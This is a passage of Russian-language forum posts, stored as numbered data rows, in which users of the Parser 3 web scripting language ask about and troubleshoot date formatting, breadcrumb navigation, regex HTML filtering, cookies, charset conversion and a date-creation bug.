как вариант мозг придумал: в файл xml запихать к каждому языку свои префиксы(для каждого числа месяца)\
что-то типа такого:\
[code]\
<prefixs>\
	<prefix day=\"1\">st</prefix>\
	<prefix day=\"2\">nd</prefix>\
	<prefix day=\"3\">rd</prefix>\
	<prefix day=\"4\">th</prefix>\
	...........................\
	...........................\
		 и т.д.\
	<prefix day=\"31\">st</prefix>\
</prefixs>\
[/code]\
\
и так для каждого языка, потом это все вытаскивать в хэш.\
\
если есть соображения поделитесь."
"22457","Может быть, забыл $request:charset установить?"
"22458","А какой в нем смысл?\
Если просто подгрузить, проще через tab-delimited - меньше мороки с переводом в хэш. Ведь все равно какой файл грузить - xml или td.\
\
Да и писать по-русски 1-е, 2-е,... - совсем неправильно. Выглядит просто ужасно \"1-е янаваря 2003-го года\" и не несет никакой смысловой нагрузки. Имеет силу в редких случаях, например для экономии места в сочетаниях типа \"в 80-х годах\".\
\
А можно вообще отдать окончания на откуп XSLT. Определяем xml:lang у документа, а потом зовем нудную функцию через соответствие lang() определенному значению ('en', 'ru', 'de' и т.д.).\
\
Да, еще следует помнить, что не только окончания нужны, но и порядок следования полей - \"%D %M %Y\" для русского и \"%M %D, %Y\" для английского, да еще и месяц - с заглавной буквы."
"22459","Проблема в том, что Parser правильно понимает, что это UTF-8, и это и есть UTF-8, но русские буквы всё равно не воспринимает ((((\
\
Parser 3.1 CGI XML для FreeBSD."
"22460","Строю путь к текущему файлу со ссылками – «хлебные крошки». Знаю, что уже были предложения по этой теме, но всегда чем-то отличались от того что мне нужно. Попробовал совместить эти решения, но не получилось.\
Итак, имеем сайт со структурой каталогов. Каждый каталог лежит в отдельной директории. Принадлежность текущего документа к определенному разделу мне хотелось бы определять по тому, в какой директории он находится. Для простого случая, когда все директории имеют разные названия здесь уже было решение http://www.parser.ru/forum/?id=6715\
Но у меня уникальны директории только на первом уровне, а дальше возможны повторения.\
Вот что у меня получилось, но работать не хочет. Подскажите, где не прав.\
[code]\
$items[^table::create{section_id	parent_id	dir	title\
0	0		Главная\
1	0	service	Услуги\
2	1	visas	Визы\
3	1	accomodation	Гостиницы\
4	1	tickets	Билеты\
5	4	atickets	Авиабилеты\
6	4	rtickets	Ж/Д билеты\
10	0	countries	Страны\
11	10	egypt	Египет\
12	11	resorts	Курорты\
13	12	sharm	Шарм-Эль-Шейх\
14	13	hotels	Отели\
15	12	dahab	Дахаб\
16	15	hotels	Отели\
17	12	taba	Таба\
18	17	hotels	Отели\
19	12	hurgada	Хургада\
20	19	hotels	Отели\
}]\
\
$strip_url[^request:uri.lsplit[/]]\
$parent(0)\
^strip_url.menu{\
	$path[${path}$strip_url.piece/]\
\
	^if(^items.locate[dir;$strip_url.piece]){\
		\
		^if($parent==$items.parent_id){\
			<a href=\"$path\">$items.title</a>\
			$parent($items.section_id)\
		}{ \
		}\
	}{\
	}\
}\
[/code]"
"22461","http://spravka.gramota.ru/buro.html?action=rubrikator&rubrika=63&stv=300dc6c0a9b69bfb1d62e2e341acda5a\
\
да уж 1-е выглядит действительно неправильно.\
\
но вот в других языках в этом необходимость может возникнуть:\
если в языке нет такого правила то пусть выводится просто цыфры.\
а если есть то должно быть."
"22462","начну с конца:\
[quot]\
Мне очень понравилась идея провести аналогию с NDS.\
Бросаются в глаза отличие.\
В NDS пользователи и группы тоже являются объектами.\
И на них можно давать права!\
[/quot]\
\
да, несомненно, однако и сама NDS обслуживается поднятым и постоянно работающим сервером, мне-же приходится заниматься подобными вычислениями в каждом CGI процессе. это несколько разные вещи, и мне приходится чем-то жертвовать. я пожертвовал размещением пользователей/групп (они вне дерева), т.к. далеко не всегда мне они вообще требуются :)\
но я сначала пытался хранить их в дереве. вычисления получились очень громоздкими...\
\
[quot]\
Тогда, для определения доступов к объекту child2 мы вытаскиваем доступы к объекту child1 (и всем его потомкам, не так ли), что нам совершенно не нужно.\
[/quot]\
\
в принципе у меня есть такое понятие у объекта как nesting, т.е. я могу достать не весь тред, а ограничить его снизу/сверху. но я все равно не делаю этого. почему?\
очень просто: я посмотрел статистику (MAIN:pSQL с его статистикой рулит) и увидел, что достато одним запросов тред (даже довольно большой) значительно экономичнее чем делать N запросов и доставать N объектов (при этом естественно единожды запрошеный из БД объект я кеширую).\
ситуация была-бы иной если бы у меня был daemon...\
\
[quot]\
Получается, что нужно писать весьма сложный код для создания параметра thread перед вызовом метода @getRightsToObject[object;thread;acl;is_owner].\
[/quot]\
\
нет, не получается. код почти всегда одинаков. примерно такой как я привел. в моем случае он еще упрощается, т.к. в engine я все равно достаю текущий тред.\
\
к тому-же не забывайте, что может требоваться решение разных задач, например для доступа к сайту решается задача \"какие пользователь имеет права на данный объект\", а например в административном интерфейсе возникает и такая задача: \"нужно получить все объекты на которые пользователь имеет права видеть их\"\
\
[quot]\
Мне представляется, что проще в классе auth определить виртуальный метод getObject[object_id]...\
[/quot]\
\
если делать совсем красиво, то надо скармливать этому методу объект другого класса (например object) у которого есть все эти методы.\
тут мне просто не хватает реальных задач, на которых я смог-бы понять что нужно решать чаще всего и как это делать лучше. для моих немногочисленых применений текущей реализации хватает.\
\
[quot]\
Поле acl тоже не нужно, его можно получить по объекту.\
[/quot]\
\
тут опять не согласен (нету демона у нас), поэтому я достаю для заданного пользователя его полный ACL на все объекты, и больше не возвращаюсь к SQL запросам. именно поэтому тут приносится в жертву атомарность операций."
"22463","1. Похоже вы ещё не уверены, существует ли вообще такой URI, а уже начинаете строить навигацию. А если 404?\
2. На каждой итерации цикла вы обнуляете $parent. Смысл?\
3. Условие во втором ^if верно только для главной страницы.\
4. Местами \"()\"можно вполне заменить на \"[]\"\
\
посмотрите вот тут: http://www.parser.ru/forum/?id=14477, немного кривовато, но общий принцип чем-то похож на ваш, может пригодится..."
"22464","Оибку надо искать либо здесь \
[code]\
^items.locate[dir;$strip_url.piece]\
[/code]\
, либо в таблице - помоему невозможно сравнить 2 пустых значения, и как следствие найти, но например проверить значение на существование можно."
"22466","с пустым значением все нормально, когда вместо пустого значения вношу лубой символ (не соответствующий корневой директории), тогда как раз этот раздел пропускается. Нет, я проверял: пустое значение - Ок. Где-то еще проблема"
"22467","лоханулся! сразу не заметил, что за код вставил.\
за ссылку спасибо, сейчас взгляну"
"22468","а URI такой априори существует, поскольку этот метод буду вызывать только со страничек, где эта навигация нужна. а раз эти странички существуют, то и проверять не зачем."
"22470","Класс oracle.p из примера [url=\"http://www.parser.ru/examples/comp/\"]О переносимости SQL запросов[/url].\
\
Не смотря на все старания не могу понять сл. кусок кода:\
[code]\
# функции, имеющие аналоги не во всех серверах\
#----- не работает, заменителя не знаю\
############################################################\
@date_add[date;days]\
$result[]\
#end @date_add[]\
\
\
# нету у MSSQL\
############################################################\
@date_sub[date;days]\
$result[^if(def $date){TO_DATE($date)}{^today[]} - $days]\
#end @date_sub[]\
[/code]\
\
Почему нельзя добавить дату так же, как и вычесть?\
У меня работает (Oracle 8.1.7).\
Простой пример select sysdate+1 from dual\
выдает правильный результат."
"22472","Вложенный ^if можно упростить, ссылку я вам дал.\
$path у вас определяется в неправильном месте, и туда append'ятся все директории подряд на протяжении всего цикла меню.\
\
А как именно у вас \"не работает\"?"
"22473","когда я писал этот комментарий я совсем был не знаком с ораклом и заглушки были как вместо функции date_add так и вместо date_add\
\
потом мне пришлось несколько потраха...поработать с ораклом, и как реализовать date_sub (которая мне была нужна) я нашел, а date_add мне так и не потребовалась, поэтому код не был поправлен (даже не смотрел на него).\
\
спасибо за указание, щас поправлю код и комментарий."
"22474","а какая 3.1 берётся, та что с этого сайта или та что с моего? Если с моего, то там собрано с самыми новыми libxml и libxslt ежели чего"
"22477","ead failed: actually read 4294967295 bytes count not in [0..4096] valid range"
"22478","насколько я понял, проблема именно с replace\
\
что можно попробовать:\
1. normalize перед replace\
2. попробовать использовать match вместо replace\
3. попробуйте перед выдачей в броузер записать все в файлик (это можно сделать в postprocess) и убедитесь, что пробелы не поубивались каким-либо образом раньше.\
\
P.S. taint тут не при чем. язык текста проявляется перед выдачей результата куда-либо (броузеру, sql серверу, в файл...)"
"22480","в path у меня накоплением сохраняется путь к файлу, т.е. директория уровня 1/директория уровня 2/директория уровня 3 и т.д. если path не будет не в цикле menu, то в нее сохранятся только названия каталогов.\
\
А не получается вот что - останавливается на втором уровне (parent_id = 1) и не могу понять, то ли из-за того что следующий уже не воспринимает, то из-за того, что в таблице следующей строкой идет тоже parent_id = 1"
"22482","Страница типа:\
http://mysite.ru/article/?text=xmlfile.xml\
Должна анализировать поля формы, форматировать ксмл и выдавать хтмльник. Вместо этого -- загадочное сообщение:\
\
exception in request exception handler: regular expression syntax error - nothing to repeat\
\
В чем дело?"
"22483","Понимать: если в пути присутствуют две точки подряд?"
"22485","Выделить код на котором вылезает ошибка и отослать его PAF'у..."
"22486","в логике кода есть ошибка: locate с опциями по умолчанию кажется ищет с начала таблицы, соответственно если первым найдет элемент у которого parent не наш, то другую запись с нужным нам parent-ом он никогда не пойдет искать.\
\
лучше бумать в этом направлении\
[code]\
^if(^items.locate($items.dir eq $strip_url.piece && $items.parent_id == $parent)){\
  <a href=\"$path\">$items.title</a>\
  $parent($items.section_id)\
}\
[/code]"
"22488","#Урок номер какой-то с минимумом добавлений\
$xmlpath[/xmls]\
$textfile[$form:fields.text]\
\
\
$sourceDoc[^xdoc::load[$xmlpath/$textfile]] \
$transformedDoc[^sourceDoc.transform[/xsls/test.xsl]] \
\
^transformedDoc.string[ \
    $.method[html] \
]"
"22493","бывает, когда вы что-то эдакое написали в @unhandled_exception\
попробуйте убрать этот метод, получите более внятное сообщение об ошибке."
"22494","#Урок номер какой-то с минимумом добавлений\
$xmlpath[/xmls]\
$textfile[$form:fields.text]\
\
\
$sourceDoc[^xdoc::load[$xmlpath/$textfile]] \
$transformedDoc[^sourceDoc.transform[/xsls/test.xsl]] \
\
^transformedDoc.string[ \
$.method[html] \
]"
"22500","чтобы я распаковал, открыл у себя, увидел ошибку."
"22501","На локальном стоит 3.0.8, а на хостинге - 3.1.0.\
\
normalize перед replace не помог. Пробелы вроде тоже целы. match не пробовал, но попробую, хотя хотелось бы все же сделать c помощью replace.\
\
Вообще, код такой:\
#Таблица земен\
$table[^table::create[nameless]{^taint[^#0A]	<br>\
    	&nbsp^;&nbsp^;&nbsp^;&nbsp^;\
***	<hr>}]\
\
#Замена происходит так:\
^taint[as-is][^string.replace[$table]]\
\
В итоге происходит только замена переводов строки на <br>, а остальное остается как есть"
"22502","В предыдущем сообщении \"съелись\" все пробелы и знаки табуляции в создании талицы, но они там есть :)"
"22503","спасибо, разбираться буду завтра"
"22505","так что поставьте на хостинге 3.0.8 или HEAD (возьмите на сайте у egr-а)"
"22506","Так все-таки как настроить parser в IIS 6.0?"
"22507","Вопрос к создателям:\
Будет ли когда-нибудь документально описан метод получения почты парсером.\
Разобраться что и как он получает или должен получат по 25 строчкам operators.txt просто не представляется возможным.\
Ранее, вместе с исходниками выкачивалась папка www с каким-то примером, но после нескольких синхронизаций исходников ее найти уже не удалось :("
"22508","Я хочу отфильтровать текст от html и скриптов.\
Пишу:\
[code]\
$text_no_html[^text_norm.match[(<!--*--> |</? \\w+\\s? .*? /? >| - | } | { | ' | \" | \\* |\
 @ | : | , | \\. | \\d | ! | \\? | \\^; | \\) | \\( | \\= | \\+ | \\\\ | \\/ | < | > |\
 (?<![=\"])((?i:https?://|ftp://|mailto:)(?:[:\\w~%{}./?=&@,#-]+)))][gx]{}]\
[/code]\
\
Что-то конечно это отфильтровывает, но не всё.\
Вероятно я пишу здесь что-то неопримально.\
\
Помогите - загибаюсь ;)\
Заранее балагодарю."
"22509","вторую неделю ищу...\
ладно, останусь со своей проблемой один на один..."
"22510","Первое что вижу.\
<!--*-->\
конструкция найдет\
<!-а потом 0 или неограниченное количество минусов, после чего найдет-->\
\
Конструкция \"или\" в вашем случае работать будет крайне медленно, представьте сколько откатов она сделает. Сначала поищет комментарии, если не найдет поищет теги и т.д.\
\
Рац. предложение, разбейте все на разные матчи - код и ошибки для вас же будут более очевидны."
"22511","что вы подразумеваете под «не работает»?\
и, не в обиду будет спрошено, имели ли вы успешный опыт установки parser под какой предыдущий windows/iis?"
"22512","берём ключевую строку вашей проблемы, copy/paste в строку поиска слева.\
\
первая ссылка: ваш вопрос, вторая мой давний ответ на него.\
\
http://www.parser.ru/forum/?terms=..%2F..%2Fclasses%2Flibclasses&search_in_message=1&author=&doSearch=1"
"22513","если вас устраивает его ограниченная функциональность, то простой найдите в CVS эти старые примеры, я их удалил с основной ветки, но с диска."
"22514","Спасибо, Миша!"
"22515","это я находил... но, т.к. систему ставлю первый раз, то понятными являются доки, уровня такого http://www.securitylab.ru/39645.html\
а ваши ответы не для тех, кто первую неделю видит такой тип систем...\
например, щас пытаюсь решить вопрос, наверняка не встающий у более опытных - как скомпилировать библиотеку мускула, чтобы указать, где находится unix-socket, через который надо работать..."
"22516","занятие для того, кто знает, как это делать.\
мой ответ ему подойдёт.\
\
что до развёрнутости объяснений и работе с mysql сервером через unix socket, то в документации в соответствующем разделе написано, как это сделать, и не надо ничего компилировать.\
\
надо сесть и почитать. попробуйте."
"22517","Господа, ошибка в доке.\
stringstats.htm\
\
[quote]\"Отбрасывание верхних записей ответа посредством [b]$.default[/b] приведет к замедлению работы кода.\"[/quote]\
\
[b]$.offset[/b] - верно"
"22518","-"
"22519","Правильнее сделать несколько проходов.\
Не проще грохнуть все < и >, или отэскейпить? Уже никакого рабочего кода не останется. Далее по вкусу."
"22520","Реально - одного из файлов не было надиске, то есть, должно было быть \"file missing\", почему же парсер выдает такую странную ошибку?"
"22521","Господа, в документации явно не указано или я не нашел, что парсер поддерживает внутренние методы(в Си например private) и защищенные(protected), тоже самое каcается данных, они все(и данные и методы) public?"
"22523","/home2/glebt/public_html/xmls/\
\
read failed: actually read 4294967295 bytes count not in [0..4096] valid range\
/home/--path--/index.html(24:19) \
load	/home/--path--/index.html(24:19) 	\
template	/home/--path--/index.html(24:2)"
"22526","ничего... опыт придет - bug-report попросите..."
"22530","Суть вот в чем:\
\
Приходим на страницу по ссылке вида: http://domain.com/bla/?id=1&s=add\
\
На этой страницы есть форма, которую желательно отправить POST методом.\
\
А вместо этого повторяется предыдущий запрос к этой странице, что недопустимо.\
\
Как быть? Заранее спасибо."
"22534","[code]\
$president_on_tv_at[^date::create(2001;12;31)] \
^president_on_tv_at.sql-string[]\
[/code]\
выдает\
1999-11-30 00:00:00"
"22536","Ранее делал сайт только на ХТМЛ и закидывал в папку указанную провайдером на его сервер. Он успешно запускался.\
Как сделать так, что-бы можно было закинуть туда сайт на Парсере и он действовал???"
"22543","1. Лучше XP сейчас не найти. Если скажите про Линух, я в который раз тяжко засоплю и забормочу, что, дескать, не наше это дело мордоваться не по-детски с осью, которую нужно подкручивать и всяческим шаманством заставлять лишь работать без ошибок, а не просто делать обыкновенные повседневные вещи.\
\
2. Если Вы говорите о быстродействии, так тут огромный просто вопрос. Да, если у Вас 400Мгц, 128Мб, то это чувствуется. У меня всего 633Мгц, 256Мб мозгов. Все летает. За почти год - ни одного зависания или серьезной ошибки.\
\
3. Непосредственно кэширование: я просто не вижу серьезных узлов, которые сильно напрягут сервак. Если они появятся, так по-любому придется оптимизировать.\
\
=> Вывод: дописать и в реальных условиях посмотреть, что и как оптимизировать. Если Вы снизойдете до оценки готового движка, буду рад критике. Все равно пишу, чтобы научиться программировать."
"22544","и медитация...\
\
а если чуть серьезнее, то когда встанет вопрос оптимизировать то выяснится, что у вас нету средствт чтобы найти узкие места.\
\
а если на их поиски времени нету (так обычно и бывает) — то делается грустно.\
\
именно поэтому предлагается думать [b]до[/b], а не вместо.\
\
одна из предлагаемых к осмыслению/использованию вещей, которая помогает анализу — [url=\"/examples/comp/\"]sql классы[/url] с соответствующими прослойками.\
\
другая — пример кеширования странички целиком. если помнить об этой возможности, то можно в процессе написания кода думать, что тут мы сможем использовать универсальный механизм, а тут — не сможем потому-то потому-то и потому-то и поэтому сразу делаем немного иначе..."
"22545","Причем неважно, какие именно числа давать на вход ^date::create() - результат тот же: 1999-11-30 00:00:00.\
Система Linux 2.4.18 i686."
"22546","Можно ли соместить Parser и PHP?\
Хочу чтобы чтобы в одном файле можно было писать и на Parser'e и на PHP и чтоб эти коды выполнялись совместно под web-сервером Apache. Скажите такое вообще возможно?"
"22548","Здравствуйте. \
\
У меня такая проблема - есть 2 файла .xml и .xsl: \
есть база данных на ms sql 2000 в ней 2 таблицы соответственно- processor и yadro. Как можно сделать так чтобы отображались данные сразу двух таблиц. По отдельности все отображаеться красиво \
Заранее благодарен. \
\
\
\
1.xml: \
<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> \
<?xml-stylesheet type=\"text/xsl\" href=\"1.xsl\"?> \
<ROOT xmlns:sql=\"urn:schemas-microsoft-com:xml-sql\"> \
<sql:query> \
\
\
SELECT processor.chastota as [chastota], yadro.yadro as [yadro] \
FROM processor JOIN yadro ON processor.id_yadro=yadro.id_yadro \
Where processor.id_yadro=yadro.id_yadro \
FOR XML AUTO \
</sql:query> \
</ROOT> \
\
1.xsl: \
<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"> \
<xsl:template match=\"/\"> \
<xsl:apply-templates /> \
</xsl:template> \
<xsl:template match = 'processor|yadro'> \
<TR> \
<TD><xsl:value-of select = '@chastota' /></TD> \
<TD><xsl:value-of select = '@yadro' /></TD> \
</TR> \
</xsl:template> \
<xsl:template match = '/'> \
<HTML> \
<HEAD> \
<META http-equiv=\"Content-Type\" content=\"text/html;charset=UTF-8\"/> \
</HEAD> \
<BODY background=\"http://ko/pic/ic.jpg\"> \
<TABLE border='1' style='width:300;'> \
<TR><TH colspan='2'>ggg</TH></TR> \
<TR><TH >2</TH><TH>32</TH></TR> \
<xsl:apply-templates select = 'ROOT' /> \
</TABLE> \
</BODY> \
</HTML> \
</xsl:template> \
</xsl:stylesheet>"
"22549","А жаль!"
"22550","))))))))\
А вставлять в парсерном коде исполнение пхпшного файла, никак?"
"22552","А вот обьясните, каким образом Парсер получает почту?\
Как таковых, настроек pop или imap обнаружить не удалось, следовательно он самостоятельно тащит почту из /var/mail\
НО: Почтовый спул имеет права доступа 600, а Парсер обычно пускается под nobody/nogroup, в доступе ему будет отказанно\
ВЫХОД: Дать Парсеру права 4775?"
"22553","Он просто тупо заменяет символы русского языка на соответствующие в другой кодировке. Если поискать, его легко можно найти на любом сайте примеров Perl.\
Запустить его не сложно: \
http://www.parser.ru/docs/lang/filecgiexec.htm\
\
Вот примерный код Perl скрипта, только этот заменяет из win в koi.\
Досового примера под рукой к сожалению нет:\
[code]\
#!/usr/local/bin/perl\
my $filename= $ENV{'CGI_PRICE_NAME'};\
print \"$filename\\n\";\
if (!-f $filename){\
    die \"Usage: decode.pl <filename>\";\
}\
sub wintokoi {\
    my $pvdcoderwin=shift;\
    $pvdcoderwin=~ tr/\\xB8\\xC0\\xC1\\xC2\\xC3\\xC4\\xC5\\xC6\\xC7\\xC8\\xC9\\xCA\\xCB\\xCC\\xCD\\xCE\\xCF\\xD0\\xD1\\xD2\\xD3\\xD4\\xD5\\xD6\\xD7\\xD8\\xD9\\xDA\\xDB\\xDC\\xDD\\xDE\\xDF\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE6\\xE7\\xE8\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF\\xF0\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7\\xF8\\xF9\\xFA\\xFB\\xFC\\xFD\\xFE\\xFF\\x91\\x92\\x93\\x94\\x96\\x97\\x9B\\x8B\\xBB\\xAB\\xB9\\xAD\\xA7\\xA0\\x82\\x84\\x85/\\ё\\xE1\\xE2\\xF7\\xE7\\xE4\\xE5\\xF6\\xFA\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF\\xF0\\xF2\\xF3\\xF4\\xF5\\xE6\\xE8\\xE3\\xFE\\xFB\\xFD\\xFF\\xF9\\xF8\\xFC\\xE0\\xF1\\xC1\\xC2\\xD7\\xC7\\xC4\\xC5\\xD6\\xDA\\xC9\\xCA\\xCB\\xCC\\xCD\\xCE\\xCF\\xD0\\xD2\\xD3\\xD4\\xD5\\xC6\\xC8\\xC3\\xDE\\xDB\\xDD\\xDF\\xD9\\xD8\\xDC\\xC0\\xD1\\'\\'\\\"\\\"\\-\\-\\>\\<\\\"\\\"N\\-\\ \\ \\,\\,\\./;\
return $pvdcoderwin;\
}\
open(INF,\"<$filename\") || die \"Can't open file $filename\";\
open(OUTF,\">$filename.new\") || die \"Can't create file $filename\";\
flock(OUTF,2);\
while (<INF>){\
    print OUTF wintokoi($_);\
}\
close(INF);\
close(OUTF);\
rename(\"$filename.new\", $filename);\
[/code]"
"22555","соответствующая статья для документации написана, но будет опубликована не раньше, чем будут преодолён ряд проблем.\
\
пока я не хотел бы тратить своё время, объясняя то, что пока сыро.\
\
по запросу (отдельно в мою почту) могу прислать имеющуюся статью. всё."
"22557","попробовал на win32: 3.0.8, 3.1.0, HEAD, всё тип топ.\
\
и на на linux:\
[code]\
[*** /home/paf]$ uname -a\
Linux *** 2.4.19 #2 Wed Dec 4 21:06:26 MSK 2002 i686 unknown\
[*** /home/paf]$ ./parser3.cgi\
./parser3.cgi: file not specified\
Parser/3.1.0 Copyright(c) 2001-2003 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
[*** /home/paf]$ ./parser3.cgi _naif2.html\
2001-12-31 00:00:00\
[*** /home/paf]$\
[/code]\
\
возможно, эксперимент недостаточно чист?\
что выдаёт date::now?"
"22558","наверное в модуле парсера я тогда установил из parser3_1_0_win32_cgi_xml.zip с драйверами parser3sql_1_0_win32_mysql.zip\
потом заменил его на parser3_0_8_win32_cgi_xml.zip с драйверами parser3sql_0_8_win32_mysql.zip и теперь все работает"
"22560","Коллеги, добрый день!\
Есть SQL сервер. Есть IIS сервер. Есть Parser 3.0.\
Скажите как можно при помощи всего этого богатства парсером проверять пароли MS SQL сервера?\
Т.е. хочу сделать страницу с авторизацией, где бы проверялись пользователи по своим SQL паролям..."
"22561","Как??? если я загрузил данные из файла мне надо их обработать и загрузить обратно...? Надо что создаватьновую таблицу..или есть более изящный метод?"
"22562","^date::now[] отрабатывает нормально.\
Вот еще:\
index.html\
[code]\
$now[^date::create(1000)]\
^now.sql-string[]\
[/code]\
выводит\
1970-01-01 03:00:26\
Непонимаю..."
"22563","А именно. Работаем под IIS. \
До сих пор на Win2000Server, WinXP всё работало.\
Сейчас не проходит регистрация с использованеим кук.\
\
[code]\
@venter[][$tu]                           --------------------- venter\
	$uid[0]\
^if(def $cookie:itecode){\
        # вот здесь мы оказываемся, т.е. кука есть\
	$ninfo[$cookie:itecode]\
	}{\
	$cookie:itecode[$.value[0] $.expires[session]]\
        $ninfo[0]\
	^counterf[ite]\
	}\
$uid[$ninfo]\
^if($ninfo){\
        # а вот сюда не попадаем! \
        # в промежутке было повторное обращение за кукой, и после этого она оказалась пустой\
	$tu[^table::sql{select * from persons where (ecode = '$ninfo')}]\
	^if($tu){\
        # установить параметры пользователя\
        # сюда мы не попадаем -- нет регистрации пользователя\
        # при этом с БД всё в порядке, вход зарегистрирован и т.п.\
	}\
}\
[/code]\
\
Что бы это могло быть?\
\
При этом такой пример\
\
[code]\
\
# auto.p \
\
@main[]\
<html>\
<head>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
</head>\
<body>\
\
$nnow[^date::now[]] \
$enow[^eval($nnow.minute+60*($nnow.hour+24*($nnow.day+31*$nnow.month)))]\
$snow[^nnow.sql-string[]]\
$sdnow[^snow.left(10)]\
$ynow[$nnow.year]\
$mnow[$nnow.month]\
$dnow[$nnow.day]\
\
^doit[]\
\
</body>\
</html>\
\
# kuki.par\
\
@doit[]\
Hello: $snow\
\
$kuki[$cookie:kuki]\
kuki = $kuki\
\
$cookie:kuki[$.value[$snow] $.expires[session]]\
[/code]\
\
работает."
"22564","насколько я знаю такое возможно сделать во втором апаче.\
с помощью фильтров."
"22565","[code]\
1972-09-27 04:00:00\
[/code]\
на всех версиях [3.0.8, 3.1.0, HEAD].\
\
возможно, что-то не так собралось."
"22566","причём он успешно открывается, после чего из него не считалось не байта.\
\
OS сказала, что его размер 4096 (чудесным образом совпало со степенью двойки).\
\
возможно, вы прямо в этот момент редактировали файл?\
\
мелочь: я поправил немного текст ошибки, теперь будет писаться\
[quote]read failed: actually read -1 bytes[/quote]"
"22567","Да, создавать новую таблицу, перегонять исходные данные. Те, которые надо - изменять."
"22568","вывод строки\
<!DOCTYPE HTML SYSTEM \"-//W3C//DTD HTML 4.0 Transitional//EN\">\
???\
Оказывается mozilla на нее неадекватно реагирует."
"22569","CVS|HEAD"
"22571","Попробывал запустить этот бинарник у себя: цифры немного другие, но тоже неверные. Что, интересно, могло не так собраться, есть ли мысли куда копать?"
"22574","были?"
"22575","или вы воспроизводимый тест сумеете получить?"
"22576","Как ни странно, куки заработали...\
Зато при переадресации через response:location всё пропадает.\
Будем искать, в чём дело, дальше."
"22577","[code]\
$ grep -iw warning  config.log\
configure:3642: WARNING: enabling charset windows-1251\
configure:6051: warning: conflicting types for built-in function `sin'\
configure:6372: warning: implicit declaration of function `int trunc(...)'\
configure:6373: warning: implicit declaration of function `int round(...)'\
configure:6374: warning: implicit declaration of function `int sign(...)'\
\
$ grep -iw warning  make.log\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
gif.C:760: warning: implicit declaration of function `int round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
math.C:179: warning: implicit declaration of function `int trunc(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int \
round(...)'\
../../types/pa_vdouble.h:43: warning: implicit declaration of function \
`int round(...)'\
[/code]"
"22579","А скажи пожалуйста, как это сделать. Если можно, то поподробнее..."
"22580","как я понял, собранный нами бинарник вас чем-то не устроил, раз захотели собрать сами.\
\
может расскажете, чем именно?"
"22581","Пишем:\
$addition[<символ конца строки>колонка1<табулятор>колонка2... и так далее]\
И потом:\
\
$addition.save[append;файл_таблицы_с_путем]\
\
Все! Но ошибок наворотить можно... Хотя..."
"22582","Вообще-то я уже выкрутился. Запускаю перекодировщик через ^file::exec[$convert], где $convert - путь к cmd-файлу в котором прописан его вызов с параметрами."
"22583","В /cgi-bin/charsets/ лежат файлы с кодировками. Берем, допустим, koi (он наиболее близок к DOS по числу символов и меняем первую колоку согласно таблице DOS.\
Обзываем файл dos.charset, говорим, что $request:charset у нас dos, а $response:charset - windows-1251.\
Дальше - load и вывод...\
Можно еще почитать ветку: http://www.parser.ru/forum/?id=21888"
"22584","Ну вот например, если известны все поля таблицы:\
[code]\
$myTab[^table::load[/tab.dat]]\
$myNewTab[^table::create{field1 >> field2 >> ... >> fieldN}]\
^myTab.menu{\
# Тут какие-нибудь действия по обработке данных.\
    ^myNewTab.append{$myTab.field1 >> $myTab.field2 >> ... >> $myTab.fieldN}\
}\
^myNewTab.save[/newTab.dat]\
[/code]"
"22585","$men[^table::create{name	age\
Serge	26\
Alex	20\
Mishka	29}\
]\
$thoseAbove20[^men.select($men.age>20)] \
^thoseAbove20.menu{$men.age}[ ]\
Выводится\
